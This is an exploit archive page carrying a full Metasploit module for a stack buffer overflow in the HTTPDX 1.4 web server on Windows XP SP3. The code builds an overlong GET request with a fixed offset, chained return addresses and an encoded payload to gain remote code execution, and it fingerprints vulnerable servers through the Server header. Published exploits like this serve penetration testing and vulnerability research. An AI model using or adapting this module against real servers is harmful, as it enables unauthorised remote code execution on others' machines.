what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

HTTPDX h_handlepeer() Buffer Overflow

HTTPDX h_handlepeer() Buffer Overflow
Posted Oct 16, 2009
Authored by Trancer, Pankaj Kohli | Site rec-sec.com

This Metasploit module exploits a stack-based buffer overflow vulnerability in HTTPDX HTTP server 1.4. The vulnerability is caused due to a boundary error within the "h_handlepeer()" function in http.cpp. By sending an overly long HTTP request, an attacker can overrun a buffer and execute arbitrary code.

tags | exploit, web, overflow, arbitrary
SHA-256 | 96eaa8c48e19f5fb3dca4fdb11170227a1757203bb4e06504fea12b4f61860cd

HTTPDX h_handlepeer() Buffer Overflow

Change Mirror Download
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'HTTPDX h_handlepeer() Function Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability in HTTPDX HTTP server 1.4. The
vulnerability is caused due to a boundary error within the "h_handlepeer()" function in http.cpp.
By sending an overly long HTTP request, an attacker can overrun a buffer and execute arbitrary code.
},
'Author' => [
'Pankaj Kohli <pankaj208[at]gmail.com>', # Original exploit [see References]
'Trancer <mtrancer[at]gmail.com>' # Metasploit implementation
],
'References' =>
[
[ 'URL', 'http://www.pank4j.com/exploits/httpdxb0f.php' ],
[ 'URL', 'http://www.rec-sec.com/2009/10/16/httpdx-buffer-overflow-exploit/' ],
[ 'OSVDB', '58714' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Privileged' => true,
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x0a\x0b\x0d\x20\x23\x25\x26\x2c\x2f\x3a\x3b\x3d\x3f\x5c",
'StackAdjustment' => -1500,
'DisableNops' => 'True',

},
'Platform' => 'win',
'Targets' =>
[
[ 'httpdx 1.4 - Windows XP SP3',
{
'Offset' => 616,
'Rets' => [ 0x64f8134b, 0x63b8624f, 0x7c874413 ], # pop ret (core.dll), required to reach ret instruction (n.dll), jmp esp (kernel32.dll)
}
],
],
'DefaultTarget' => 0))
register_options( [ Opt::RPORT(80) ], self.class )
end

def check
response = send_request_raw

if response and
response['Server'] and
response['Server'] =~ /httpdx\/1.4 (Win32)/
return Exploit::CheckCode::Appears
end

return Exploit::CheckCode::Safe
end

def exploit
connect

sploit = "GET /" + rand_text_alpha_lower(3, payload_badchars) + "="
sploit << rand_text_alphanumeric(target['Offset'], payload_badchars)
sploit << [ target['Rets'][0] ].pack('V') + [ target['Rets'][1] ].pack('V') + [ target['Rets'][2] ].pack('V')
sploit << payload.encoded + rand_text_alphanumeric((payload_space - payload.encoded.length), payload_badchars)

request = sploit + " HTTP/1.1\r\nHost: " + rand_text_alphanumeric(rand(8) + 1) + "\r\n\r\n"

print_status("Trying target #{target.name}...")

sock.put(request)
sock.close

disconnect
handler
end
end

Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close